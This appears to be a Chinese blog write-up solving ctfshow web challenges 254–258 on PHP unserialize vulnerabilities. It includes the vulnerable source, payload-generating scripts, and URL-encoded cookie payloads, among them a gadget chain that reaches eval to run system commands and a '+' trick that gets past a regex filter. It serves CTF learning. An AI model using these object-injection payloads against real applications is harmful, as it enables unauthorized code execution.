ctfshow——web入门254~258

uwvwko2025-05-19 15:49

目录

web入门254

web入门255

web入门256

web入门257

web入门258

反序列化

先来看看其他师傅的讲解

web入门254

源码：

复制代码 
<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
} 

?>

payload:?username=xxxxxx&password=xxxxxx

简单分析就是传入的username和password的值回去当作login方法的参数，然后只要让他们和类中的值一样就好了

web入门255

源码：

复制代码 
<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
} 
?>

这里的unserialize就是反序列化，serialize是序列化（废话）

user = unserialize(_COOKIE['user']);从cookie中找user，然后反序列化，所以我们要在脚本里先序列化

脚本：

注意这里的login方法中isYip的值不会改变，所以我们需要自己把他设置为1

复制代码 
<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=1;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}
/*
$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
} 
    */
$a=new ctfShowUser();
echo serialize($a);

?>

结果：O:11:"ctfShowUser":3:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";i:1;}

然后在cookie的化需要url编码

payload：user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

web入门256

源码：

复制代码 
<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }

多了一层，这个是强比较

其实没什么必要，我们可以直接改public中的元素，就把username=xxxxx

复制代码 
<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxx';
    public $password='xxxxxx';
    public $isVip=1;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}
/*
$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
} 
*/
$a=new ctfShowUser();
echo serialize($a);

?>

结果：O:11:"ctfShowUser":3:{s:8:"username";s:5:"xxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";i:1;}

然后还是url编码，cookie传参

web入门257

源码：

复制代码 
<?php
error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}


$a=new ctfShowUser();
echo serialize($a);

?>

这题可以开始找链子了

我们看到backDoor类的getInfo方法，有一个eval($this->code);code就是我们要执行的代码

然后我们怎么调用他呢，看到ctfShowUser类中的 __destruct，但是如果照他的源代码，class=new info()

所以我们把他改成new backDoor

__destruct：析构函数，在对象的所有引用都被删除时或者对象被显式销毁时调用，当对象被销毁时自动调用

复制代码 
<?php
class ctfShowUser{
   
    private $class = 'info';

    public function __construct(){
        $this->class=new backDoor();
    }
   
   /* public function __destruct(){
        $this->class->getInfo();
    }
*/
}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code='system("ls");';
    public function getInfo(){
        eval($this->code);
    }
}
/*
$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}
*/



$a=new ctfShowUser();
$b=urlencode(serialize($a));
echo $b;

?>

这里的url编码还是直接跑吧，我用hacker跑的用不了

user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%22tac+flag.php%22%29%3B%22%3B%7D%7D

web入门258
在数字前面+绕过正则

源码：

复制代码 
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 21:38:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

多了一个这个： if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user']))

匹配一个字符，大小写的 o 或 c加上：+数字的形式

如： o:5:sadfg

然后我们看看正常脚本的结果：

O:11:"ctfShowUser":1:{s:5:"class";O:8:"backDoor":1:{s:4:"code";s:13:"system('ls');";}}

可以看到会被匹配到，要进行绕过：

用+绕过：（在数字前面加+）

O:+11:"ctfShowUser":1:{s:5:"class";O:+8:"backDoor":1:{s:4:"code";s:13:"system('ls');";}}

payload：user=O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system('tac%20flag.php')%3B%22%3B%7D%7D

脚本：（跟上题一样），出了直接手动改然后url编码

复制代码 
<?php


class ctfShowUser{
    /*
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    */
    public $class = 'info';

    public function __construct(){
        $this->class=new backDoor();
    }
    /*public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }

    
    public function __destruct(){
        $this->class->getInfo();
    }
    */

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code="system('tac flag.php');";
    public function getInfo(){
        eval($this->code);
    }
}
/*
$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

 */


$a=new ctfShowUser();
echo serialize($a);
echo "<br>";
$b=urlencode(serialize($a));
echo $b;

?>
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